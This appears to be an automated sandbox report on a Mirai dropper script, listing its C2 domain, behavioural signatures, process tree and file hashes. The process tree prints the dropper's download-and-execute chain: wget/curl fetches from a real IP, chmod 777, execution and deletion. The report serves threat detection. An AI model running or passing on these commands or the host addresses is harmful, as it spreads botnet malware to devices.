Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    05/09/2026, 16:23

General

  • Target
    ok.sh
  • Size 1KB
  • Sample260905-tvxe4avyds
  • SHA256 985bbb5584b3d2f973a0933962e4c9d6970c67bb8311f19e2bed5d831c484844
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

C2
  • realsus.net

Extracted

Family
  • mirai

C2
  • realsus.net

Extracted

Family
  • mirai

C2
  • realsus.net

Extracted

Family
  • mirai

C2
  • realsus.net

Extracted

Family
  • mirai

C2
  • realsus.net

Extracted

Family
  • mirai

C2
  • realsus.net

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 2 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Changes its process name 4 IoCs
  • Checks CPU configuration 1 TTPs 12 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 50 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ok.sh
    /tmp/ok.sh
    1⤵
    • Executes dropped EXE
    PID:649
    • /usr/bin/wget
      wget http://5.182.210.174/5a6d29
      2⤵
      • Writes file to tmp directory
      PID:654
    • /usr/bin/curl
      curl -O http://5.182.210.174/5a6d29
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:675
    • /bin/chmod
      chmod 777 5a6d29
      2⤵
      • File and Directory Permissions Modification
      PID:677
    • /tmp/5a6d29
      ./5a6d29 bc
      2⤵
        PID:678
      • /bin/rm
        rm -rf 5a6d29
        2⤵
          PID:680
        • /bin/rm
          rm -rf 5a6d29.1
          2⤵
            PID:681
          • /usr/bin/wget
            wget http://5.182.210.174/3d48dd
            2⤵
            • Writes file to tmp directory
            PID:682
          • /usr/bin/curl
            curl -O http://5.182.210.174/3d48dd
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:683
          • /bin/chmod
            chmod 777 3d48dd
            2⤵
            • File and Directory Permissions Modification
            PID:684
          • /tmp/3d48dd
            ./3d48dd bc
            2⤵
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Changes its process name
            • Reads system network configuration
            • Reads runtime system information
            PID:686
          • /bin/rm
            rm -rf 3d48dd
            2⤵
              PID:689
            • /bin/rm
              rm -rf 3d48dd.1
              2⤵
                PID:692
              • /usr/bin/wget
                wget http://5.182.210.174/b8f9fd
                2⤵
                • Writes file to tmp directory
                PID:694
              • /usr/bin/curl
                curl -O http://5.182.210.174/b8f9fd
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:706
              • /bin/chmod
                chmod 777 b8f9fd
                2⤵
                • File and Directory Permissions Modification
                PID:719
              • /tmp/b8f9fd
                ./b8f9fd bc
                2⤵
                  PID:720
                • /bin/rm
                  rm -rf b8f9fd
                  2⤵
                    PID:722
                  • /bin/rm
                    rm -rf b8f9fd.1
                    2⤵
                      PID:724
                    • /usr/bin/wget
                      wget http://5.182.210.174/a8990b
                      2⤵
                      • Writes file to tmp directory
                      PID:726
                    • /usr/bin/curl
                      curl -O http://5.182.210.174/a8990b
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:743
                    • /bin/chmod
                      chmod 777 a8990b
                      2⤵
                      • File and Directory Permissions Modification
                      PID:745
                    • /tmp/a8990b
                      ./a8990b bc
                      2⤵
                        PID:746
                      • /bin/rm
                        rm -rf a8990b
                        2⤵
                          PID:748
                        • /bin/rm
                          rm -rf a8990b.1
                          2⤵
                            PID:749
                          • /usr/bin/wget
                            wget http://5.182.210.174/2b34bb
                            2⤵
                            • Writes file to tmp directory
                            PID:750
                          • /usr/bin/curl
                            curl -O http://5.182.210.174/2b34bb
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:751
                          • /bin/chmod
                            chmod 777 2b34bb
                            2⤵
                            • File and Directory Permissions Modification
                            PID:752
                          • /tmp/2b34bb
                            ./2b34bb bc
                            2⤵
                              PID:753
                            • /bin/rm
                              rm -rf 2b34bb
                              2⤵
                                PID:754
                              • /bin/rm
                                rm -rf 2b34bb.1
                                2⤵
                                  PID:755
                                • /usr/bin/wget
                                  wget http://5.182.210.174/17dc74
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:756
                                • /usr/bin/curl
                                  curl -O http://5.182.210.174/17dc74
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:762
                                • /bin/chmod
                                  chmod 777 17dc74
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:775
                                • /tmp/17dc74
                                  ./17dc74 bc
                                  2⤵
                                    PID:777
                                  • /bin/rm
                                    rm -rf 17dc74
                                    2⤵
                                      PID:778
                                    • /bin/rm
                                      rm -rf 17dc74.1
                                      2⤵
                                        PID:779
                                      • /usr/bin/wget
                                        wget http://5.182.210.174/b63738
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:781
                                      • /usr/bin/curl
                                        curl -O http://5.182.210.174/b63738
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:793
                                      • /bin/chmod
                                        chmod 777 b63738
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:794
                                      • /tmp/b63738
                                        ./b63738 bc
                                        2⤵
                                          PID:795
                                        • /bin/rm
                                          rm -rf b63738
                                          2⤵
                                            PID:797
                                          • /bin/rm
                                            rm -rf b63738.1
                                            2⤵
                                              PID:798
                                            • /usr/bin/wget
                                              wget http://5.182.210.174/49cbab
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:799
                                            • /usr/bin/curl
                                              curl -O http://5.182.210.174/49cbab
                                              2⤵
                                              • Checks CPU configuration
                                              • Reads runtime system information
                                              • Writes file to tmp directory
                                              PID:800
                                            • /bin/chmod
                                              chmod 777 49cbab
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:801
                                            • /tmp/49cbab
                                              ./49cbab bc
                                              2⤵
                                                PID:802
                                              • /bin/rm
                                                rm -rf 49cbab
                                                2⤵
                                                  PID:804
                                                • /bin/rm
                                                  rm -rf 49cbab.1
                                                  2⤵
                                                    PID:805
                                                  • /usr/bin/wget
                                                    wget http://5.182.210.174/71a82c
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:806
                                                  • /usr/bin/curl
                                                    curl -O http://5.182.210.174/71a82c
                                                    2⤵
                                                    • Checks CPU configuration
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:807
                                                  • /bin/chmod
                                                    chmod 777 71a82c
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:808
                                                  • /tmp/71a82c
                                                    ./71a82c bc
                                                    2⤵
                                                      PID:809
                                                    • /bin/rm
                                                      rm -rf 71a82c
                                                      2⤵
                                                        PID:811
                                                      • /bin/rm
                                                        rm -rf 71a82c.1
                                                        2⤵
                                                          PID:812
                                                        • /usr/bin/wget
                                                          wget http://5.182.210.174/182db5
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:813
                                                        • /usr/bin/curl
                                                          curl -O http://5.182.210.174/182db5
                                                          2⤵
                                                          • Checks CPU configuration
                                                          • Reads runtime system information
                                                          • Writes file to tmp directory
                                                          PID:814
                                                        • /bin/chmod
                                                          chmod 777 182db5
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:815
                                                        • /tmp/182db5
                                                          ./182db5 bc
                                                          2⤵
                                                          • Modifies Watchdog functionality
                                                          • Enumerates active TCP sockets
                                                          • Changes its process name
                                                          • Reads system network configuration
                                                          • Reads runtime system information
                                                          PID:816
                                                        • /bin/rm
                                                          rm -rf 182db5
                                                          2⤵
                                                            PID:818
                                                          • /bin/rm
                                                            rm -rf 182db5.1
                                                            2⤵
                                                              PID:821
                                                            • /usr/bin/wget
                                                              wget http://5.182.210.174/c5bd6f
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:822
                                                            • /usr/bin/curl
                                                              curl -O http://5.182.210.174/c5bd6f
                                                              2⤵
                                                              • Checks CPU configuration
                                                              • Reads runtime system information
                                                              • Writes file to tmp directory
                                                              PID:823
                                                            • /bin/chmod
                                                              chmod 777 c5bd6f
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:824
                                                            • /tmp/c5bd6f
                                                              ./c5bd6f bc
                                                              2⤵
                                                                PID:825
                                                              • /bin/rm
                                                                rm -rf c5bd6f
                                                                2⤵
                                                                  PID:827
                                                                • /bin/rm
                                                                  rm -rf c5bd6f.1
                                                                  2⤵
                                                                    PID:828
                                                                  • /usr/bin/wget
                                                                    wget http://5.182.210.174/954dc2
                                                                    2⤵
                                                                    • Writes file to tmp directory
                                                                    PID:829
                                                                  • /usr/bin/curl
                                                                    curl -O http://5.182.210.174/954dc2
                                                                    2⤵
                                                                    • Checks CPU configuration
                                                                    • Reads runtime system information
                                                                    • Writes file to tmp directory
                                                                    PID:830
                                                                  • /bin/chmod
                                                                    chmod 777 954dc2
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:831
                                                                  • /tmp/954dc2
                                                                    ./954dc2 bc
                                                                    2⤵
                                                                      PID:832
                                                                    • /bin/rm
                                                                      rm -rf 954dc2
                                                                      2⤵
                                                                        PID:834
                                                                      • /bin/rm
                                                                        rm -rf 954dc2.1
                                                                        2⤵
                                                                          PID:835

                                                                      Network

                                                                            MITRE ATT&CK Enterprise v16

                                                                            Replay Monitor

                                                                            Loading Replay Monitor...

                                                                            Downloads

                                                                            17dc74

                                                                            • Path /tmp/17dc74
                                                                            • Size 61KB
                                                                            • SHA256 2fb92f094039aeae03a6674ad664234ef107c3a05acdbd6eefe8dd7f9a55800d
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            182db5

                                                                            • Path /tmp/182db5
                                                                            • Size 52KB
                                                                            • SHA256 2d8e736c1cd7b768ca97b0ae11a9a29bdf3dc747bf39edfb40cee99eadedf4d4
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            2b34bb

                                                                            • Path /tmp/2b34bb
                                                                            • Size 44KB
                                                                            • SHA256 aab911ccf927e4d21ae39c786feed9d2f14da0c028678d68405ab29d779be919
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            3d48dd

                                                                            • Path /tmp/3d48dd
                                                                            • Size 121KB
                                                                            • SHA256 34d2498fab47077b6358999d52e0ccc515aa6ec97d5f850a3aa3257cbe6b8f85
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            49cbab

                                                                            • Path /tmp/49cbab
                                                                            • Size 48KB
                                                                            • SHA256 ecf7176fce9872d7976bd87f5365f1d459c31f34b841bc1d7f73fcef663f3000
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            5a6d29

                                                                            • Path /tmp/5a6d29
                                                                            • Size 50KB
                                                                            • SHA256 52e38732d915f1c4238dc79f0ae3aa500701b641088e16d0ec50eae5448cbcf2
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            71a82c

                                                                            • Path /tmp/71a82c
                                                                            • Size 45KB
                                                                            • SHA256 138647b86972130430d6dc46f211a1a94494f2521ef1ed1cd89218018226352f
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            954dc2

                                                                            • Path /tmp/954dc2
                                                                            • Size 65KB
                                                                            • SHA256 1be1ba2fc204048d5308ad8dd086e38b495a206b0635d6016d10527fb58a66bc
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            a8990b

                                                                            • Path /tmp/a8990b
                                                                            • Size 49KB
                                                                            • SHA256 f984b3d71cf0fea175d181b02d67467dd3da54a88f8bdcb11a3cf9f4bdcb02dc
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            b63738

                                                                            • Path /tmp/b63738
                                                                            • Size 67KB
                                                                            • SHA256 399141a027c570fd9eda40d3038f8cdbee0f19d3999c7c6c8f98b02904ce70a8
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            b8f9fd

                                                                            • Path /tmp/b8f9fd
                                                                            • Size 45KB
                                                                            • SHA256 2a3923d16b7bf24545568ecf1816e9fc7068133c86713f515a4d90c2a1786475
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            c5bd6f

                                                                            • Path /tmp/c5bd6f
                                                                            • Size 53KB
                                                                            • SHA256 39e2f0e4519cc0e64162d68bbbfec3d31f65c177ba343982fe613a1b514ffa58
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH